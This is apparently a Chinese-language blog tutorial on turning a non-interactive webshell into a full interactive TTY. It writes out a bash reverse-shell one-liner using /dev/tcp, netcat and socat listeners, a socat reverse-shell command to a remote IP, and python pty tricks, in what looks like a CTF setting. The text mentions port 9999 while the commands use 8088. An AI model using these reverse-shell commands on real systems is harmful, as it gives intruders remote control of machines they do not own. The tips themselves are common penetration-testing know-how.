由于脚本语言默认执行系统命令时,是没有获取 tty 的

Webshell反弹到服务器上时经常都是非交互式的,具体表现为控制符变成了转义序列。在某些时候就很难下一步操作了,比如需要使用vim时显示一堆的控制符,在Ctrl+C时却退出了Shell

升级Shell为交换式的小Tip:

python pty 方式

前提条件是目标主机上需要有python

  1. 查看监听服务器终端和STTY信息
1
2
3
4
5
6
7
8
9
10
11
12
root@localhost:~# echo $TERM  
xterm

root@localhost:~# stty -a
speed 38400 baud; rows 47; columns 160; line = 0;
intr = ^C; quit = ^\; erase = ^?; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = <undef>; start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W;
lnext = ^V; discard = ^O; min = 1; time = 0;
-parenb -parodd -cmspar cs8 -hupcl -cstopb cread -clocal -crtscts
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl ixon -ixoff -iuclc -ixany -imaxbel -iutf8
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke -flusho -extproc

这里我们的终端信息为xterm,stty的行数(rows)为47,列数(columns)为160

  1. 在监听服务器开启监听
1
2
root@localhost:~# nc -lvp 8077
Listening on 0.0.0.0 8077
  1. 在目标机器执行反弹shell命令
1
bash -i >& /dev/tcp/192.168.1.1/8077 0>&1

这里我们反弹的shell为bash,此时监听服务器收到了反弹的shell

1
2
3
4
5
6
root@ctf:~# nc -lvp 8077
Listening on 0.0.0.0 8077
Connection received on 1.14.71.254 36490
bash: cannot set terminal process group (432): Inappropriate ioctl for device
bash: no job control in this shell
www-data@09010c0e86d04512:/var/www/html$
  1. 启用python交互式
1
2
www-data@09010c0e86d04512:/var/www/html$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<ml$ python3 -c 'import pty; pty.spawn("/bin/bash")'
  1. 按下Ctrl+Z,后台挂起

  2. 刷新终端

1
2
3
4
5
root@ctf:~$ stty raw -echo 

root@ctf:~$ fg #这个指令输入的时候不会回显

www-data@09010c0e86d04512:/var/www/html$ reset

可能这时候就会有如下的提示询问终端类型,此时就可以直接输入终端信息然后回车

1
2
reset: unknown terminal type unknown
Terminal type?

若无提示需要设置

1
www-data@6aae652213e24b63:/var/www/html$ export TERM=xterm
  1. 根据自己的终端信息设置如下参数
1
2
$ export SHELL=bash
$ stty rows 47 columns 160

socat 反弹Shell

socat的可执行文件可以从https://github.com/3ndG4me/socat/releases下载

  1. 在监听服务器开启监听
1
$ socat file:`tty`,raw,echo=0 tcp-listen:8088

这里的9999为监听的端口

  1. 把socat可执行文件上传到目标机器上,然后执行:
1
user@414e07ee65d84196:~$ ./socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:111.111.111.111:8088

其中111.111.111.111:9999为监听服务器的IP和端口


本站由 Wells 使用 Stellar 主题创建。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。